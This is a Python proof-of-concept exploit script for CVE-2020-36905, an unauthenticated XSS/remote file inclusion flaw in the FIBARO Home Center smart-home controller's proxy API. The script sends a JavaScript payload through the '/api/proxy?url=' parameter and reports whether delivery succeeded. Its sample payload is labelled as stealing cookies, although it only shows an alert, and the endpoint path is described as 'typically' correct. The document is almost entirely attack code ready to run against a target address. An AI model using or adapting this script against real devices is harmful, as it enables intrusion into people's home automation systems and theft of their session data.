CVE-2020-36905 FIBARO Home Center远程文件包含/XSS漏洞

import requests # CVE-2020-36905 PoC - FIBARO Home Center XSS via Undocumented Proxy API # Target: FIBARO Home Center with proxy API endpoint def exploit_cve_2020_36905(target_url, payload): """ Exploit for CVE-2020-36905: Unauthenticated XSS via proxy API url parameter Args: target_url: Base URL of FIBARO Home Center (e.g., http://192.168.1.100) payload: Malicious JavaScript payload to inject Returns: bool: True if request successful, False otherwise """ # Encode the payload for URL injection encoded_payload = requests.utils.quote(payload) # Construct the malicious URL targeting the undocumented proxy API # The vulnerable endpoint is typically: /api/proxy?url=<malicious_url> exploit_url = f"{target_url}/api/proxy?url={encoded_payload}" try: # Send the exploit request (no authentication required) response = requests.get(exploit_url, timeout=10) print(f"[+] Request sent to: {exploit_url}") print(f"[+] Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit request successful - XSS payload delivered") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False # Example usage with basic XSS payload if __name__ == "__main__": target = "http://192.168.1.100" # Basic XSS payload to steal cookies xss_payload = "javascript:alert(document.cookie)" print("CVE-2020-36905 Exploit Test") print("=" * 50) exploit_cve_2020_36905(target, xss_payload)